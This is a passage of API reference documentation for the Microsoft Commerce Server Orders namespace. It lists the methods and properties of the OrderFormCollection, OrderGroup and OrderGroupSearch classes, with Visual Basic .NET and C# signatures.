   //Guid userID = new Guid(csContext.UserID);
   // For this sample, we'll generate a new Unique UserID:
   Guid userID = Guid.NewGuid();

   // GetBasket() will load a user's existing basket, if it exists,
   // otherwise it will create a new, empty basket
   Basket basket = csContext.OrderSystem.GetBasket(userID);

   // If this is a new basket, then create a default OrderForm
   if (basket.OrderForms.Count < 1)
      basket.OrderForms.Add(new OrderForm("default"));

   return basket;
}

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Clear Method (BCL)

Use this method to purge all the order forms from the collection.

Definition

[Visual Basic .NET]
Public Sub Clear( _
)
[C#]
public void Clear(
);

Remarks

This method wraps the Clear method on the underlying OrderGroup COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the elements of this collection in to the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Target buffer to copy data to.
index
The zero-based index of array at which copying starts.
[C#]
array
The target buffer to copy data to.
index
The zero-based index of array at which copying starts.

Implements

System.Collection.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

The handle to an OrderFormEnumerator class instance.

Implements

System.Collection.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Remove (String) Method (BCL)

Use this method to remove the specified order form from the collection.

Definition

[Visual Basic .NET]
Public Sub Remove( _
  ByVal orderFormName As System.String _
)
[C#]
public void Remove(
  System.String orderFormName
);

Parameters

[Visual Basic .NET]
orderFormName
The name of the OrderForm object to remove from the collection.
[C#]
orderFormName
The name of the OrderForm object to remove from the collection.

Remarks

This method internally invokes the RemoveOrderForm method on the underlying OrderGroup COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Remove (OrderForm) Method (BCL)

Use this method to remove the specified order form from the collection.

Definition

[Visual Basic .NET]
Public Sub Remove( _
  ByVal orderForm As OrderForm _
)
[C#]
public void Remove(
  OrderForm orderForm
);

Parameters

[Visual Basic .NET]
orderForm
The OrderForm object to remove from the collection.
[C#]
orderForm
The OrderForm object to remove from the collection.

Remarks

This method internally invokes the RemoveOrderForm method on the underlying OrderGroup COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns a value of False.
Item(Int32) | Retrieves the specified order form from the collection.
Item(String) | Retrieves the specified order form from the collection.
ParentOrderGroup | Retrieves the order group owning this order form.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the OrderFormCollection object.


OrderFormCollection.Count Property (BCL)

The Count property is a read-only integer indicating the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collection.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns False.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collection.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Item(Int32) Property (BCL)

The Item property is a read-only indexer that allows for accessing a collection indexer by integer index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As OrderForm
[C#]
public OrderForm Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
The index of the order form.
[C#]
index
The index of the order form.

Property Value

The OrderForm object for the specified index.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Item (String) Property (BCL)

The Item property is a read-only property that allows for accessing a collection indexer by the OrderForm object name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As OrderForm
[C#]
public OrderForm Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
The name of the OrderForm object.
[C#]
name
The name of the OrderForm object.

Property Value

The OrderForm object for the specified index.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.ParentOrderGroup Property (BCL)

The ParentOrderGroup property is a read-only OrderGroup that retrieves the order group owning this line item.

Definition

[Visual Basic .NET]
Public ReadOnly Property ParentOrderGroup As OrderGroup
[C#]
public virtual OrderGroup ParentOrderGroup {get;}

Property Value

The OrderGroup object that owns the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used to synchronize access to ICollection. This implementation always returns the current instance of OrderFormCollection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The Object used to synchronize access to the collection.

Implements

System.Collection.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroup Class (BCL)

The OrderGroup class is the abstract base class for all OrderGroup types in the Commerce Server order system.

The OrderGroup class represents a purchasing unit, such as a basket, purchase order, order template, or any other user-defined type. The only way to programmatically differentiate these is by using the order_status_code top-level OrderGroup property. The Commerce Server.NET-based order system refines this approach by exposing the three fundamental OrderGroup object types, Basket, PurchaseOrder and OrderTemplate, as first-class entities derived from the OrderGroup abstract class.

Protected Instance Constructor

Constructor | Description
OrderGroup Constructor | Creates a new instance of the OrderGroup class.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetEnumerator | Retrieves the enumerator on this OrderGroup instance.
RunPipeline(PipelineInfo) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) | Runs the stages of the specified pipeline.

Public Instance Properties

Property | Description
Addresses | Retrieves the collection of addresses associated with the OrderGroup instance.
HandlingTotal | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name | Accesses the order group name.
OrderForms | Retrieves the OrderFormCollection associated with this OrderGroup object.
OrderGroupID | Retrieves the ID associated with the OrderGroup instance.
ShippingTotal | Retrieves the value of the ShippingTotal properties for the OrderForm objects in the OrderGroup instance.
StatusCode | Accesses the order group status code on this OrderGroup instance.
SubTotal | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal properties in this OrderGroup instance.
TaxIncluded | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal | Retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.
Total | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling and tax.
Xml | Accesses the XML persistence format of the OrderGroup instance.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup Constructor (BCL)

Protected Instance Constructor

Constructor | Description
OrderGroup Constructor | Creates a new instance of the OrderGroup class.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup Constructor (BCL)

Use this method to create a new instance of the OrderGroup class.

Definition

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
protected OrderGroup(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetEnumerator | Retrieves the enumerator on this OrderGroup instance.
RunPipeline(PipelineInfo) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) | Runs the stages of the specified pipeline.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Dispose Method (BCL)

Use this method to release resources used by the object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the OrderGroup.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Dispose (Boolean) Method (BCL)

Use this method release the unmanaged resources used by this class and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this is called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this is called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see Microsoft .NET Framework Software Development Kit (SDK) documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on this OrderGroup instance.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

The handle to the to the LineItemEnumerator instance.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.RunPipeline (PipelineInfo) Method (BCL)

Use this method to execute the stages of a specified pipeline.

Definition

[Visual Basic .NET]
Public Sub RunPipeline( _
  ByVal pipelineInfo As PipelineInfo _
)
[C#]
public void RunPipeline(
  PipelineInfo pipelineInfo
);

Parameters

[Visual Basic .NET]
pipelineInfo
The prespecified information used during pipeline processing.
[C#]
pipelineInfo
The prespecified information used during pipeline processing.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.RunPipeline (PipelineInfo, PipelineBase) Method (BCL)

Use this method to execute the stages of a specified pipeline.

Definition

[Visual Basic .NET]
Public Sub RunPipeline( _
  ByVal pipelineInfo As PipelineInfo, _
  ByVal pipeline As PipelineBase _
)
[C#]
public void RunPipeline(
  PipelineInfo pipelineInfo,
  PipelineBase pipeline
);

Parameters

[Visual Basic .NET]
pipelineInfo
The prespecified information used during pipeline processing.
pipeline
The pipeline to run on the OrderGroup object. Cannot be null.
[C#]
pipelineInfo
The prespecified information used during pipeline processing.
pipeline
The pipeline to run on the OrderGroup object. Cannot be null.

Remarks

Throws an ArgumentNullException if the pipeline parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup Properties (BCL)

Public Instance Properties

Property | Description
Addresses | Retrieves the collection of addresses associated with the OrderGroup instance.
HandlingTotal | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name | Accesses the order group name.
OrderForms | Retrieves the OrderFormCollection associated with this OrderGroup object.
OrderGroupID | Retrieves the ID associated with the OrderGroup instance.
ShippingTotal | Retrieves the value of the ShippingTotal properties for the OrderForm objects in the OrderGroup instance.
StatusCode | Accesses the order group status code on this OrderGroup instance.
SubTotal | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal properties in this OrderGroup instance.
TaxIncluded | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal | Retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.
Total | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling, and tax.
Xml | Accesses the XML persistence format of the OrderGroup instance.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Addresses Property (BCL)

The Address property is a read-only OrderAddressCollection that retrieves the collection of addresses associated with the OrderGroup object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Addresses As OrderAddressCollection
[C#]
public OrderAddressCollection Addresses {get;}

Property Value

The Address property retrieves the collection of addresses associated with the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.HandlingTotal Property (BCL)

The HandlingTotal property is a read-only decimal that retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property HandlingTotal As System.Decimal
[C#]
public System.Decimal HandlingTotal {get;}

Property Value

The HandlingTotal property retrieves the OrderForm.HandlingTotal property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Item Property (BCL)

The Item property is a read/write object that retrieves and sets the value of a top-level property on the OrderGroup object.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
The name of the property to set or retrieve.
[C#]
keyName
The name of the property to set or retrieve.

Property Value

The value of the property to set or retrieve on the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.LineItemCount Property (BCL)

The LineItemCount property is a read-only Int32 that retrieves the count of all the line items on all the OrderForm objects in the OrderGroup object.

Definition

[Visual Basic .NET]
Public ReadOnly Property LineItemCount As System.Int32
[C#]
public System.Int32 LineItemCount {get;}

Property Value

The count of all the line items on all the OrderForm objects in the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Name Property (BCL)

The Name property is a read/write String that accesses the OrderGroup name.

Definition

[Visual Basic .NET]
Public Property Name As System.String
[C#]
public System.String Name {get; set;}

Property Value

The OrderGroup name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.OrderForms Property (BCL)

The OrderForms property is a read-only OrderFormCollection that retrieves the OrderForm collection associated with the OrderGroup object.

Definition

[Visual Basic .NET]
Public ReadOnly Property OrderForms As OrderFormCollection
[C#]
public OrderFormCollection OrderForms {get;}

Property Value

The OrderFormCollection object associated with the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.OrderGroupID Property (BCL)

The OrderGroupID property is a read-only Guid containing the GUID for the OrderGroup object.

Definition

[Visual Basic .NET]
Public ReadOnly Property OrderGroupID As System.Guid
[C#]
public System.Guid OrderGroupID {get;}

Property Value

The OrderGroupID property for the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroup.ShippingTotal Property (BCL)

The ShippingTotal property is a read-only decimal that retrieves the shipping total from the OrderForm.ShippingTotal properties in this OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property ShippingTotal As System.Decimal
[C#]
public System.Decimal ShippingTotal {get;}

Property Value

The shipping total for the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.StatusCode Property (BCL)

The StatusCode property is a read-only Int32 that retrieves the order group status code on this OrderGroup instance.

Definition

[Visual Basic .NET]
Public Overridable ReadOnly Property StatusCode As System.Int32
[C#]
public virtual System.Int32 StatusCode {get;}

Property Value

The status code for the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.SubTotal Property (BCL)

The SubTotal property is a read-only decimal that retrieves the subtotal for the OrderGroup object from the OrderForm.Subtotal properties in this OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property SubTotal As System.Decimal
[C#]
public Decimal SubTotal {get;}

Property Value

The subtotal for the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.TaxIncluded Property (BCL)

The TaxIncluded property is a read-only Decimal that retrieves the OrderGroup instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property TaxIncluded As System.Decimal
[C#]
public System.Decimal TaxIncluded {get;}

Property Value

The OrderGroup instance total including tax.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.TaxTotal Property (BCL)

The TaxTotal property is a read-only decimal that retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property TaxTotal As System.Decimal
[C#]
public System.Decimal TaxTotal {get;}

Property Value

The tax totals from the associated OrderForm objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Total Property (BCL)

The Total property is a read-only decimal that retrieves the total amount for the order group instance. This amount includes shipping, handling, and tax.

Definition

[Visual Basic .NET]
Public ReadOnly Property Total As System.Decimal
[C#]
public System.Decimal Total {get;}

Property Value

The totals from the associated OrderForm objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Xml Property (BCL)

The Xml property is a read/write String that retrieves and sets the XML persistence format of the order group instance.

Definition

[Visual Basic .NET]
Public Property Xml As System.String
[C#]
public System.String Xml {get; set;}

Property Value

The XML persistence format of the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroupSearch Class (BCL)

Abstraction of specifying criteria for order group searches.

Public Instance Constructors

Constructor | Description
OrderGroupSearch Constructor | Creates a new instance of the OrderGroupSearch class.
OrderGroupSearch (OrderContext) Constructor | Creates a new instance of the OrderGroupSearch class using the given order context.

Public Instance Methods

Method | Description
Search(OrderGroupSearchOptions) | Performs the specified search for order group information, and returns it as a DataSet.

Public Instance Properties

Property | Description
DateTimeColumnName | DateTime column name of interest for this search.
Description | Product description.
EndDateTime | DateTime search end value.
FirstName | First name of the user of interest.
LastName | Last name of the user of interest.
OrderContext | Gets or sets the OrderContext object to use for search.
OrderGroupID | Order group ID to search for.
OrderNumber | Order number to search for.
OrderStatusFilter | Specifies order group status codes to search for.
ProductID | Product ID to search for.
StartDateTime | DateTime search start value.
UserID | User ID to search for.
UserOrganizationID | User organization ID to search for.
UserOrganizationName | User organization name to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderGroupSearch Constructor | Creates a new instance of the OrderGroupSearch class.
OrderGroupSearch (OrderContext) Constructor | Creates a new instance of the OrderGroupSearch class using the given order context.


OrderGroupSearch Constructor (BCL)

Use this method to create a new instance of the OrderGroupSearch class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public OrderGroupSearch(
);

Remarks

Constructs the OrderGroupSearch object using the CommerceContext.Current.OrderSystem object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch (OrderContext) Constructor (BCL)

Use this method to create a new instance of the OrderGroupSearch class using the given order context.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal ordercontext As OrderContext _
)
[C#]
public OrderGroupSearch(
  OrderContext ordercontext,
);

Parameters

[Visual Basic .NET]
ordercontext
The OrderContext object to use.
[C#]
ordercontext
The OrderContext object to use.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch Method (BCL)

Public Instance Methods

Method | Description
Search(OrderGroupSearchOptions) | Performs the specified search for order group information, and returns it as a DataSet.


OrderGroupSearch.Search (OrderGroupSearchOptions) Method (BCL)

Use this method to perform the specified search for order group information, and return it as a DataSet.

Definition

[Visual Basic .NET]
Public Function Search( _
  ByVal OrderGroupSearchOptions As OrderGroupSearchOptions _
) As System.Data.DataSet
[C#]
public System.Data.DataSet Search(
  OrderGroupSearchOptions OrderGroupSearchOptions
);

Parameters

[Visual Basic .NET]
orderGroupSearchOptions
OrderGroupSearchOptions instance to use.
[C#]
orderGroupSearchOptions
OrderGroupSearchOptions instance to use.

Return Value

DataSet containing the search results.

Remarks

This method wraps the SimpleFind method on the OrderGroupManager PIA object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch Properties (BCL)

Public Instance Properties

Property | Description
DateTimeColumnName | DateTime column name of interest for this search.
Description | Product description.
EndDateTime | DateTime search end value.
FirstName | First name of the user of interest.
LastName | Last name of the user of interest.
OrderContext | Gets or sets the OrderContext object to use for search.
OrderGroupID | Order group ID to search for.
OrderNumber | Order number to search for.
OrderStatusFilter | Specifies order group status codes to search for.
ProductID | Product ID to search for.
StartDateTime | DateTime search start value.
UserID | User ID to search for.
UserOrganizationID | User organization ID to search for.
UserOrganizationName | User organization name to search for.


OrderGroupSearch.DateTimeColumnName Property (BCL)

The DateTimeColumnName property is a read/write String that contains the name of the DateTime column.

Definition

[Visual Basic .NET]
Public Property DateTimeColumnName As System.String
[C#]
public System.String DateTimeColumnName {get; set;}

Property Value

The name of the DateTime column.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.Description Property (BCL)

The Description property is a read/write String containing the product description.

Definition

[Visual Basic .NET]
Public Property Description As System.String
[C#]
public System.String Description {get; set;}

Property Value

The product description.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.EndDateTime Property (BCL)

The EndDateTime property is a read/write Datetime that contains the search DateTime end value.

Definition

[Visual Basic .NET]
Public Property EndDateTime As System.DateTime
[C#]
public System.DateTime EndDateTime {get; set;}

Property Value

The search DateTime end value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.FirstName Property (BCL)

The FirstName property is a read/write String that contains the first name of the user of interest.

Definition

[Visual Basic .NET]
Public Property FirstName As System.String
[C#]
public System.String FirstName {get; set;}

Property Value

The first name of the user of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.LastName Property (BCL)

The LastName property is a read/write String that contains the last name of the user of interest.

Definition

[Visual Basic .NET]
Public Property LastName As System.String
[C#]
public System.String LastName {get; set;}

Property Value

The last name of the user of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.OrderContext Property (BCL)

The OrderContext property is a read/write OrderContext that gets or sets the OrderContext object for the search.

Definition

[Visual Basic .NET]
Public Property OrderContext As OrderContext
[C#]
public OrderContext OrderContext {get; set;}

Property Value

The OrderContext object for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.OrderGroupID Property (BCL)

The OrderGroupSearchID is a read/write Guid that contains the order group ID to search for.

Definition

[Visual Basic .NET]
Public Property OrderGroupID As System.Guid
[C#]
public System.Guid OrderGroupID {get; set;}

Property Value

The order group ID to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.OrderNumber Property (BCL)

The OrderNumber property is a read/write String that contains the order number to search for.

Definition

[Visual Basic .NET]
Public Property OrderNumber As System.String
[C#]
public System.String OrderNumber {get; set;}

Property Value

The order number to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.OrderStatusFilter Property (BCL)

The OrderStatusFilter property is a read/write Int that specifies the order group status codes to search for.

Definition

[Visual Basic .NET]
Public Property OrderStatusFilter As System.Int32
[C#]
public System.Int32 OrderStatusFilter {get; set;}

Property Value

The order group status codes to search for. For more information, see OrderGroup.StatusCode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

